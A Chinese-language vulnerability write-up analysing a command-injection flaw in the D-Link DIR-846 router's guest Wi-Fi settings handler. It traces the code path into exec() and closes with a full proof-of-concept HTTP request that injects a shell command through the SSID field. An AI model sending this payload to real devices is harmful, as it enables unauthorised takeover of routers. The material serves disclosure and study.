一
漏洞描述
二
影响版本
D-Link DIR-846
三
漏洞分析
通过binwalk对固件进行提取,提取后在在squashfs-root
文件夹下会发现完整的文件系统。
www目录为web目录,可通过其他方式将源码拷贝出来进行分析。
通过公开存在漏洞的文件/www/HNAP1/control/SetGuestWLanSettings.php找对对应存在漏洞的代码,这里的 $option[“wl(0).(1)_ssid”]、$option[“wl(1).(1)_ssid”]两个参数可控,导致命令执行。而这里的$option[]是如何一步步传递走到这里最终执行命令的,那么就需要回溯代码。
当前类被实例化时会调用基类下的__construct()方法,跟进该方法。
在基类GetMultipleHNAPs中这里的$act_val可控也就导致我们上述所说的$option[]可控,__construct()通过读取配置文件和SESSION校验的方式来限制用户对接口的访问。
这里首先需要17行的判断为FALSE,判断我们上述提到的两个参数的长度为0或大于60。代码21-22行需传入wl(0).(1)_preshared_key、wl(1).(1)_preshared_key,字面意思需要传入解密的秘钥。然后通过code_decode()来解密。之后判断我们解密后的值否为空或者长度小于8。跟进code_decode()函数。
可以发现该处存在加解密函数,我们可以通过传入自定义$key生成加密秘钥后,在传入上述wl(0).(1)_preshared_key中。
payload中还传入了以下四个参数,这里的四个参数不传入应该也不会影响下面exec()的执行,因为没有经过实际环境测试,所以还是传入为好。
最终通过save_cfg_info()函数将传入的配置信息写入到config文件中。接下来就将我们可控参数拼接到了exec()造成RCE。
四
漏洞复现
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
Proxy-Connection: keep-alive
Content-Length: 351
Accept: application/json
Origin: http://192.168.0.1
HNAP_AUTH: 866164AB3A175C358A2F5A80F1BF591E 1571916427322
SOAPACTION: "http://purenetworks.com/HNAP1/SetGuestWLanSettings"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
Content-Type: application/json
Referer: http://192.168.0.1/Guestwireless.html?t=1571916385005
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7
Cookie: sid=eea33228-f58c-11e9-b614-df9bf19cb824; uid=sB1xQK5E; PrivateKey=57FB98B6CA565BFA093D27DB0A2E1A9F; PHPSESSID=a85e4817b1c1dddd548b245b41acc35b; timeout=5
{"SetGuestWLanSettings":{"wl(0).(1)_enable":"1","wl(0).(1)_local_access":"0","wl(0).(1)_local_access_timeout":"0","wl(0).(1)_ssid":"a&&id>/www/a.txt","wl(0).(1)_crypto":"none","wl(0).(1)_preshared_key":"SFFMdk9xSE4=","wl(1).(1)_enable":"0","wl(1).(1)_ssid":"D-Link_DIR-846_5G_Guest","wl(1).(1)_preshared_key":"SFFMdk9xSE4=","wl(1).(1)_crypto":"none"}}
五
感谢关注
原文始发于微信公众号(不懂代码的匹夫):D-Link路由器命令执行漏洞(CNNVD-202210-2530 )